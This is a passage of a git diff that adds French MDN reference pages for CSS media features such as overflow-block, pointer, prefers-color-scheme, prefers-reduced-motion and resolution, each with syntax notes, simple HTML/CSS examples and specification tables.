+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;Boîte 1&lt;/div&gt;
+&lt;div&gt;Boîte 2&lt;/div&gt;
+&lt;div&gt;Boîte 3&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">body {
+  display: flex;
+}
+
+div {
+  background: yellow;
+}
+
+@media (orientation: landscape) {
+  body {
+    flex-direction: row;
+  }
+}
+
+@media (orientation: portrait) {
+  body {
+    flex-direction: column;
+  }
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Media Queries', '#orientation', 'orientation')}}</td>
+   <td>{{Spec2('CSS4 Media Queries')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Media Queries', '#orientation', 'orientation')}}</td>
+   <td>{{Spec2('CSS3 Media Queries')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.media.orientation")}}</p>
diff --git a/files/fr/web/css/@media/overflow-block/index.html b/files/fr/web/css/@media/overflow-block/index.html
new file mode 100644
index 0000000000..45a478c6d7
--- /dev/null
+++ b/files/fr/web/css/@media/overflow-block/index.html
@@ -0,0 +1,71 @@
+---
+title: overflow-block
+slug: Web/CSS/@media/overflow-block
+tags:
+  - CSS
+  - Caractéristique média
+  - Reference
+translation_of: Web/CSS/@media/overflow-block
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>overflow-block</code></strong> est une caractéristique média CSS qui indique la façon dont l'appareil d'affichage gère le contenu qui dépasse de la zone d'affichage (<em>viewport</em>) dans l'axe logique de bloc (c'est-à-dire le sens perpendiculaire au sens de lecture).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La caractéristique <code>overflow-block</code> est définie avec un mot-clé de la liste suivante :</p>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Le contenu qui dépasse n'est pas affiché.</dd>
+ <dt><code>scroll</code></dt>
+ <dd>Une barre de défilement est ajoutée afin de pouvoir visualiser le contenu qui dépasse de la zone d'affichage.</dd>
+ <dt><code>optional-paged</code></dt>
+ <dd>Une barre de défilement est ajoutée pour que l'utilisateur puisse voir le contenu ou l'auteur peut utiliser des sauts de page afin que le contenu soit lisible sur une autre page (ex. diaporamas).</dd>
+ <dt><code>paged</code></dt>
+ <dd>Le contenu qui dépasse est entraîné sur la page suivante (ex. livres électroniques, impression).</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam ac turpis eleifend, fringilla velit ac, aliquam tellus. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Nunc velit erat, tempus id rutrum sed, dapibus ut urna. Integer vehicula nibh a justo imperdiet rutrum. Nam faucibus pretium orci imperdiet sollicitudin. Nunc id facilisis dui. Proin elementum et massa et feugiat. Integer rutrum ullamcorper eleifend. Proin sit amet tincidunt risus. Sed nec augue congue eros accumsan tincidunt sed eget ex.&lt;/p&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">@media (overflow-block: scroll) {
+  p {
+    color: red;
+  }
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Media Queries', '#mf-overflow-block', 'overflow-block')}}</td>
+   <td>{{Spec2('CSS4 Media Queries')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.media.overflow-block")}}</p>
diff --git a/files/fr/web/css/@media/overflow-inline/index.html b/files/fr/web/css/@media/overflow-inline/index.html
new file mode 100644
index 0000000000..681cc3e8d0
--- /dev/null
+++ b/files/fr/web/css/@media/overflow-inline/index.html
@@ -0,0 +1,78 @@
+---
+title: overflow-inline
+slug: Web/CSS/@media/overflow-inline
+tags:
+  - CSS
+  - Caractéristique média
+  - Reference
+translation_of: Web/CSS/@media/overflow-inline
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>overflow-inline</code></strong> est une caractéristique média CSS (cf. {{cssxref("@media")}}) qui indique la façon dont l'appareil d'affichage gère le contenu qui dépasse de la zone d'affichage (<em>viewport</em>) dans l'axe logique en ligne (c'est-à-dire le sens correspondant au sens de lecture).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La caractéristique <code>overflow-inline</code> est définit avec un mot-clé parmi ceux de la liste suivante :</p>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Le contenu qui dépasse n'est pas affiché.</dd>
+ <dt><code>scroll</code></dt>
+ <dd>Le contenu qui dépasse peut être visualisé en utilisant une barre de défilement.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;
+  Lorem ipsum dolor sit amet, consectetur adipiscing elit.
+  Nullam ac turpis eleifend, fringilla velit ac, aliquam tellus.
+  Vestibulum ante ipsum primis in faucibus orci luctus et
+  ultrices posuere cubilia Curae; Nunc velit erat, tempus id
+  rutrum sed, dapibus ut urna. Integer vehicula nibh a justo
+  imperdiet rutrum. Nam faucibus pretium orci imperdiet
+  sollicitudin. Nunc id facilisis dui. Proin elementum et
+  massa et feugiat. Integer rutrum ullamcorper eleifend.
+  Proin sit amet tincidunt risus. Sed nec augue congue eros
+  accumsan tincidunt sed eget ex.
+&lt;/p&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">@media (overflow-inline: scroll) {
+  p {
+    color: red;
+  }
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Media Queries', '#mf-overflow-inline', 'overflow-inline')}}</td>
+   <td>{{Spec2('CSS4 Media Queries')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.media.overflow-inline")}}</p>
diff --git a/files/fr/web/css/@media/pointer/index.html b/files/fr/web/css/@media/pointer/index.html
new file mode 100644
index 0000000000..4ea6c2dbf1
--- /dev/null
+++ b/files/fr/web/css/@media/pointer/index.html
@@ -0,0 +1,101 @@
+---
+title: pointer
+slug: Web/CSS/@media/pointer
+tags:
+  - CSS
+  - Caractéristique média
+  - Reference
+translation_of: Web/CSS/@media/pointer
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>pointer</code></strong> est une caractéristique média CSS (cf. {{cssxref("@media")}}) qui permet de vérifier si le dispositif de saisie/d'entrée principal est un dispositif de pointage et, le cas échéant, de connaître sa précision.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Si on souhaite tester la précision de n'importe quel dispositif de pointage, on utilisera plutôt la caractéristique <code><a href="/fr/docs/Web/CSS/@media/any-pointer">any-pointer</a></code>.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Cette caractéristique est définie avec un mot-clé parmi les suivants :</p>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Le mécanisme de saisie principal n'inclut pas de dispositif de pointage.</dd>
+ <dt><code>coarse</code></dt>
+ <dd>Le mécanisme de saisie principal inclut un dispositif de pointage dont la précision est limitée.</dd>
+ <dt><code>fine</code></dt>
+ <dd>Le mécanisme de saisie principal inclut un dispositif de pointage précis.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans cet exemple, on crée une petite case à cocher pour les utilisateurs qui disposent d'un pointage précis et une case à cocher plus grande lorsque le mécanisme de pointage est moins précis.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;input id="test" type="checkbox" /&gt;
+&lt;label for="test"&gt;Coucou !&lt;/label&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">input[type="checkbox"]:checked {
+  background: gray;
+}
+
+@media (pointer: fine) {
+  input[type="checkbox"] {
+    -moz-appearance: none;
+    -webkit-appearance: none;
+    appearance: none;
+    width: 15px;
+    height: 15px;
+    border: 1px solid blue;
+  }
+}
+
+@media (pointer: coarse) {
+  input[type="checkbox"] {
+    -moz-appearance: none;
+    -webkit-appearance: none;
+    appearance: none;
+    width: 30px;
+    height: 30px;
+    border: 2px solid red;
+  }
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Media Queries', '#pointer', 'pointer')}}</td>
+   <td>{{Spec2('CSS4 Media Queries')}}</td>
+   <td>Ajout dans la spécification de niveau 4 pour les requêtes média.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.media.pointer")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/@media/any-pointer">La caractéristique média <code>any-pointer</code></a></li>
+</ul>
diff --git a/files/fr/web/css/@media/prefers-color-scheme/index.html b/files/fr/web/css/@media/prefers-color-scheme/index.html
new file mode 100644
index 0000000000..89d78710c6
--- /dev/null
+++ b/files/fr/web/css/@media/prefers-color-scheme/index.html
@@ -0,0 +1,103 @@
+---
+title: prefers-color-scheme
+slug: Web/CSS/@media/prefers-color-scheme
+tags:
+  - '@media'
+  - CSS
+  - Caractéristique média
+  - Reference
+translation_of: Web/CSS/@media/prefers-color-scheme
+---
+<div>{{CSSRef}}</div>
+
+<div class="blockIndicator note">
+<p>Si vous avez modifié <code>privacy.resistFingerprinting</code> à <strong>vrai</strong>, le paramètre {{cssxref("@media/prefers-color-scheme", "prefers-color-scheme")}} sera redéfini à <code>light</code>.<br>
+ Sinon, vous pouvez créer le paramètre numérique <code>ui.systemUsesDarkTheme</code> pour redéfinier le comportement par défaut et retourner <code>light</code> (valeur : 0), <code>dark</code> (valeur : 1), or <code>no-preference</code> (valeur : 2). (Firefox retournera<code>light</code> si une autre valeur est utilisée.)</p>
+</div>
+
+<p>La caractéristique média <strong><code>prefers-color-scheme</code></strong> permet de détecter les préférences exprimées par l'utilisateur quant au thème à utiliser (sombre ou clair).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<dl>
+ <dt><code><dfn>light</dfn></code></dt>
+ <dd>Cette valeur indique que l'utilisateur a exprimé le choix d'utiliser une interface avec une dominante claire, ou qu'il n'a pas exprimé son choix.</dd>
+ <dt><code>dark</code></dt>
+ <dd>Cette valeur indique que l'utilisateur a exprimé le choix d'utiliser une interface avec une dominante sombre.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">.day   { background: #eee; color: black; }
+.night { background: #333; color: white; }
+
+@media (prefers-color-scheme: dark) {
+  .day.dark-scheme   { background:  #333; color: white; }
+  .night.dark-scheme { background: black; color:  #ddd; }
+}
+
+@media (prefers-color-scheme: light) {
+  .day.light-scheme   { background: white; color:  #555; }
+  .night.light-scheme { background:  #eee; color: black; }
+}
+
+.day, .night {
+  display: inline-block;
+  padding: 1em;
+  width: 7em;
+  height: 2em;
+  vertical-align: middle;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;div class="day"&gt;Jour (initial)&lt;/div&gt;
+&lt;div class="day light-scheme"&gt;Jour (modifié si utilisation d'un thème clair)&lt;/div&gt;
+&lt;div class="day dark-scheme"&gt;Jour (modifié si utilisation d'un thème sombre)&lt;/div&gt; &lt;br&gt;
+
+&lt;div class="night"&gt;Nuit (initial)&lt;/div&gt;
+&lt;div class="night light-scheme"&gt;Nuit (modifié si utilisation d'un thème clair)&lt;/div&gt;
+&lt;div class="night dark-scheme"&gt;Nuit (modifié si utilisation d'un thème sombre)&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS5 Media Queries', '#descdef-media-prefers-color-scheme', 'prefers-color-scheme')}}</td>
+   <td>{{Spec2('CSS5 Media Queries')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.media.prefers-color-scheme")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://www.youtube.com/watch?v=jmepqJ5UbuM">Tutoriel vidéo (en anglais) : « Coding a Dark Mode for your Website », Coder un thème sombre pour votre site web</a></li>
+ <li><a href="https://stuffandnonsense.co.uk/blog/redesigning-your-product-and-website-for-dark-mode">Revoir la conception d'un produit ou d'un site pour le mode sombre </a></li>
+ <li>Modifier le thème du system sur <a href="https://blogs.windows.com/windowsexperience/2019/04/01/windows-10-tip-dark-theme-in-file-explorer/">Windows</a>, <a href="https://developer.apple.com/design/human-interface-guidelines/macos/visual-design/dark-mode/">macOS</a> et <a href="https://www.phonandroid.com/android-10-comment-activer-le-theme-fonce.html">Android</a>.</li>
+</ul>
+
+<div>{{QuickLinksWithSubpages("/fr/docs/Web/CSS/@media/")}}</div>
diff --git a/files/fr/web/css/@media/prefers-contrast/index.html b/files/fr/web/css/@media/prefers-contrast/index.html
new file mode 100644
index 0000000000..70120f5b2e
--- /dev/null
+++ b/files/fr/web/css/@media/prefers-contrast/index.html
@@ -0,0 +1,86 @@
+---
+title: prefers-contrast
+slug: Web/CSS/@media/prefers-contrast
+tags:
+  - CSS
+  - Caractéristique média
+  - Reference
+translation_of: Web/CSS/@media/prefers-contrast
+---
+<div>{{CSSRef}}{{SeeCompatTable}}{{draft}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Requêtes_média/Utiliser_les_Media_queries#Caractéristiques_média_(media_features)">caractéristique média</a> <strong><code>prefers-contrast</code></strong> permet de détecter si l'utilisateur a configuré son système pour utiliser un contraste élevé.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<dl>
+ <dt><code><dfn>no-preference</dfn></code></dt>
+ <dd>Cette valeur indique que l'utilisateur n'a exprimé aucune préférence particulière. La valeur de ce mot-clé est évaluée à <code>false</code> dans un contexte booléen.</dd>
+ <dt><code>high</code></dt>
+ <dd>Cette valeur indique que l'utilisateur a configuré son système pour avoir un contraste plus élevé.</dd>
+ <dt><code><dfn>low</dfn></code></dt>
+ <dd>Cette valeur indique que l'utilisateur a configuré son système afin d'avoir un niveau de contraste plus faible.</dd>
+</dl>
+
+<h2 id="Préférences_utilisateur">Préférences utilisateur</h2>
+
+<p>À l'heure actuelle, aucun agent utilisateur n'implémente cette fonctionnalité bien que différents systèmes d'exploitation prennent en charge ce type de paramètre.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Par défaut, cet exemple présente un contraste trop faible pour la lisibilité.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre>&lt;div class="contrast"&gt;Une boîte avec un contraste faible.&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre>.contrast {
+  color: grey;
+}
+
+@media (prefers-contrast: high) {
+  .contrast {
+    color: black;
+  }
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS5 Media Queries', '#descdef-media-prefers-contrast', 'prefers-contrast')}}</td>
+   <td>{{Spec2('CSS5 Media Queries')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.media.prefers-contrast")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>La caractéristique média spécifique à Microsoft <code><a href="https://msdn.microsoft.com/library/Hh771830">-ms-high-contrast</a></code></li>
+</ul>
+
+<p>{{QuickLinksWithSubpages("/fr/docs/Web/CSS/@media/")}}</p>
diff --git a/files/fr/web/css/@media/prefers-reduced-motion/index.html b/files/fr/web/css/@media/prefers-reduced-motion/index.html
new file mode 100644
index 0000000000..32e0c2bcd8
--- /dev/null
+++ b/files/fr/web/css/@media/prefers-reduced-motion/index.html
@@ -0,0 +1,135 @@
+---
+title: prefers-reduced-motion
+slug: Web/CSS/@media/prefers-reduced-motion
+tags:
+  - '@media'
+  - Accessibilité
+  - CSS
+  - Caractéristique média
+  - Reference
+translation_of: Web/CSS/@media/prefers-reduced-motion
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Requêtes_média/Utiliser_les_Media_queries#Cibler_des_caractéristiques_média">caractéristique média</a> <strong><code>prefers-reduced-motion</code></strong> détecte si l'utilisateur a demandé au système de minimiser la quantité d'animation ou de mouvement.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<dl>
+ <dt><code><dfn>no-preference</dfn></code></dt>
+ <dd>Cette valeur indique que l'utilisateur n'a rien indiqué au système.</dd>
+ <dt><code><dfn>reduce</dfn></code></dt>
+ <dd>Cette valeur indique que l'utilisateur souhaite utiliser une interface qui minimise la quantité d'animation, au point où tout mouvement qui n'est pas essentiel a été retiré.</dd>
+</dl>
+
+<h2 id="Gestion_des_préférences">Gestion des préférences</h2>
+
+<p>Dans Firefox, la valeur <code>reduce</code> est utilisée par le moteur selon des conditions provenant du système d'exploitation/environnement de bureau :</p>
+
+<ul>
+ <li>Pour GTK/Gnome, si <code>gtk-enable-animation</code> vaut <code>false</code>. Cela peut être configuré par le menu « Ajustements » de Gnome.</li>
+ <li>Pour Windows 10 : Paramètres &gt; Options d'ergonomie &gt; Vision &gt; Afficher &gt; Afficher les animations dans windows</li>
+ <li>Pour macOS (NDT : libellés à vérifier) : Préférences système &gt; Accessibilité &gt; Affichage &gt; Réduction de mouvement.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Cet exemple possède une animation désagréable qui sera exécutée à moins d'activer la réduction de mouvement dans les préférences relatives à l'accessibilité.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="animation"&gt;boîte animée&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.animation {
+  animation: vibrate 0.3s linear infinite both;
+}
+
+@media (prefers-reduced-motion: reduce) {
+  .animation {
+  animation: none;
+  }
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">.animation {
+  background-color: rebeccapurple;
+  color: #fff;
+  font: 1.2em Helvetica, arial, sans-serif;
+  width: 200px;
+  padding: 1em;
+  border-radius: 1em;
+  text-align: center;
+}
+
+/* ----------------------------------------------
+ * Generated by Animista on 2018-9-2 13:47:0
+ * w: http://animista.net, t: @cssanimista
+ * ---------------------------------------------- */
+
+/**
+ * ----------------------------------------
+ * animation vibrate-1
+ * ----------------------------------------
+ */
+
+@keyframes vibrate {
+  0% {
+      transform: translate(0);
+  }
+  20% {
+      transform: translate(-2px, 2px);
+  }
+  40% {
+      transform: translate(-2px, -2px);
+  }
+  60% {
+      transform: translate(2px, 2px);
+  }
+  80% {
+      transform: translate(2px, -2px);
+  }
+  100% {
+      transform: translate(0);
+  }
+}
+</pre>
+</div>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS5 Media Queries', '#descdef-media-prefers-reduced-motion', 'prefers-reduced-motion')}}</td>
+   <td>{{Spec2('CSS5 Media Queries')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.media.prefers-reduced-motion")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://css-tricks.com/introduction-reduced-motion-media-query/">Une introduction aux requêtes média pour la réduction de mouvement</a></li>
+</ul>
diff --git a/files/fr/web/css/@media/prefers-reduced-transparency/index.html b/files/fr/web/css/@media/prefers-reduced-transparency/index.html
new file mode 100644
index 0000000000..a2eddd14bd
--- /dev/null
+++ b/files/fr/web/css/@media/prefers-reduced-transparency/index.html
@@ -0,0 +1,84 @@
+---
+title: prefers-reduced-transparency
+slug: Web/CSS/@media/prefers-reduced-transparency
+tags:
+  - CSS
+  - Caractéristique média
+  - Reference
+translation_of: Web/CSS/@media/prefers-reduced-transparency
+---
+<p>{{CSSRef}}{{SeeCompatTable}}{{draft}}</p>
+
+<p>La <a href="/fr/docs/Web/CSS/Requêtes_média/Utiliser_les_Media_queries#Caractéristiques_média_(media_features)">caractéristique média</a> <strong><code>prefers-reduced-transparency</code></strong> permet de détecter si un utilisateur préfère (via un paramètre du système d'exploitation ou du navigateur) minimiser l'utilisation des effets de transparence.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<dl>
+ <dt><code><dfn>no-preference</dfn></code></dt>
+ <dd>Cette valeur indique que l'utilisateur n'a exprimé aucune préférence quant à l'utilisation des effets de transparence. Ce mot-clé correspond à <code>false</code> lorsqu'il est utilisé dans un contexte booléen.</dd>
+ <dt><code><dfn>reduce</dfn></code></dt>
+ <dd>Cette valeur indique que l'utilisateur a configuré le système afin de minimiser la quantité d'effets de transparence.</dd>
+</dl>
+
+<h2 id="Préférences_utilisateur">Préférences utilisateur</h2>
+
+<p>À l'heure actuelle, aucun navigateur ou agent utilisateur n'implémente cette préférence malgré la présence de réglages correspondants dans les systèmes d'exploitation.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Par défaut, cet exemple utilise un effet de transparence qui diminue la lisibilité du contenu.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre>&lt;div class="transparency"&gt;Boîte transparente&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre>.transparency {
+  opacity: 0.5;
+}
+
+@media (prefers-reduced-transparency: reduce) {
+  .transparency {
+    opacity: 1;
+  }
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS5 Media Queries', '#descdef-media-prefers-reduced-transparency', 'prefers-reduced-transparency')}}</td>
+   <td>{{Spec2('CSS5 Media Queries')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.media.prefers-reduced-transparency")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://bugs.webkit.org/show_bug.cgi?id=175497">Le bug WebKit 175497</a></li>
+</ul>
+
+<p>{{QuickLinksWithSubpages("/fr/docs/Web/CSS/@media/")}}</p>
diff --git a/files/fr/web/css/@media/resolution/index.html b/files/fr/web/css/@media/resolution/index.html
new file mode 100644
index 0000000000..32f97ce982
--- /dev/null
+++ b/files/fr/web/css/@media/resolution/index.html
@@ -0,0 +1,75 @@
+---
+title: resolution
+slug: Web/CSS/@media/resolution
+tags:
+  - CSS
+  - Caractéristique média
+  - Reference
+translation_of: Web/CSS/@media/resolution
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>resolution</code></strong> est une caractéristique média CSS dont la valeur représente la densité de pixels de l'appareil d'affichage.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La caractéristique <code>resolution</code> est une valeur de type {{cssxref("&lt;resolution&gt;")}} qui représente la densité de pixels de l'appareil d'affichage. C'est une caractéristique d'intervalle, cela signifie qu'on peut utiliser les variantes préfixées <code><strong>min-resolution</strong></code> et <strong><code>max-resolution</code></strong> afin d'établir des règles selon un minimum ou un maximum.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Un test pour la densité de pixels de votre appareil.&lt;/p&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">/* Résolution exacte  */
+@media (resolution: 150dpi) {
+  p {
+    color: red;
+  }
+}
+
+/* Résolution minimale */
+@media (min-resolution: 72dpi) {
+  p {
+    text-decoration: underline;
+  }
+}
+
+/* Résolution maximale */
+@media (max-resolution: 300dpi) {
+  p {
+    background: yellow;
+  }
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Media Queries', '#resolution', 'resolution')}}</td>
+   <td>{{Spec2('CSS3 Media Queries')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
